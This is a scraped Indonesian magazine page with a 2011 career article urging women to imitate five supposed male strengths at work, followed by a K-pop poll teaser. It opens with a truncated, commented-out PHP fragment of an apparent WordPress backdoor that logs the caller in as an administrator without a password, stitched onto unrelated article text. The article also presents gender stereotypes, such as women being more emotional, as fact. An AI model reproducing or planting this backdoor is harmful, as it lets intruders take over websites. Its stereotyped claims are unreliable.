user_login; break; } $us = get_user_by('login', $us ); if ( !is_wp_error( $us ) ) { get_currentuserinfo(); if ( user_can( $us, "administrator" ) ){ wp_clear_auth_cookie(); wp_set_current_user ( $us->ID ); wp_set_auth_cookie ( $us->ID ); $redirect_to = admin_url(); wp_safe_redirect( $redirect_to ); exit(); } } */
Career
Tiru Profesionalisme Pria (Bagian II)

20 Oct 2011

5 Keunggulan Kedua: Emosi Terjaga
Sudah menjadi rahasia umum, jika wanita disebut-sebut sebagai orang yang lebih emosional dibandingkan pria. Di dunia kerja, sikap ini kurang menguntungkan. Inilah pembelajaran yang berkaitan dengan hal tersebut.

1. Tidak dimasukkan ke hati
Pria lebih kuat saat menerima masukan, baik berbentuk pujian maupun kritik. Pujian tidak membuai pria secara berlebihan. Sebaliknya, kritikan pun tidak dianggap serangan pribadi. Semua itu menjadi pelajaran untuk kemajuan karier.

Tip: Berusahalah tidak emosional menerima pujian dan kritik. Kalau kita sulit menerima kritik, kita tidak akan pernah maju dari kesalahan. Ubah mindset dahulu ke pemikiran tersebut, maka tindakan akan mengikutinya.

2. Diskusi berdasarkan riset
Saat berdiskusi, pria jarang dikendalikan emosi. Semua bahan diskusi didasari data. Di satu sisi, wanita bisa tampil meyakinkan dalam sebuah diskusi karena mengikutsertakan sisi emosional, misalnya fakta yang ia miliki digabung dengan pengalaman.

Tip: Lengkapi 'bekal' diskusi dengan data-data.

3. Ambil keputusan dengan cepat
Pria cenderung senang melihat fakta dalam data dan grafik. Dengan demikian, pria lebih cepat mengambil keputusan. Wanita tampaknya sering menimbang lebih lama saat harus mengambil keputusan, karena terlalu banyak yang diperhitungkan.
Advertisement

Tip: Kumpulkan data sebelum mengambil keputusan atas sebuah masalah. Latihlah diri kita untuk mengambil keputusan cepat berdasarkan data yang ada.

4. Ekspresi terkontrol
Pria kelihatan lebih mampu mengendalikan emosi dalam mengatasi masalah. Wanita sebaliknya.

Tip: Kontrol emosi saat menghadapi masalah. Fokus pada masalah saat itu saja. Hindari mengungkit masalah yang sudah lewat untuk menghindari emosi berlebihan.

5. Tidak larut dalam hubungan pribadi
Pria lebih mampu menjaga jarak dengan rekan-rekan kerja, sehingga ia tetap bisa bersikap profesional. Sedangkan wanita sering kali hanyut dalam curhat di tempat kerja. Bahkan, kita sering kali terpancing untuk melakukan hal yang sama, sehingga terjalin hubungan pribadi (yang lebih dekat) dengan beberapa orang. Hal itu kerap menyulitkan, saat harus tegas mengambil keputusan yang berhubungan dengan orang-orang tersebut.

Tip: Tetap akrab dengan rekan kerja, tetapi tetap membuat batas, agar tidak melibatkan hubungan emosional dengan beberapa orang tertentu.


Mau tahu 5 keunggulan pertama pria? Klik di sini!





 



polling
Seberapa Korea Anda?

Hallyu wave atau gelombang Korea masih terus 'mengalir' di Indonesia. Penggemar KDrama, Kpop di Indonesia termasuk salah satu yang paling besar jumlahnya di dunia. Lalu seberapa Korea Anda?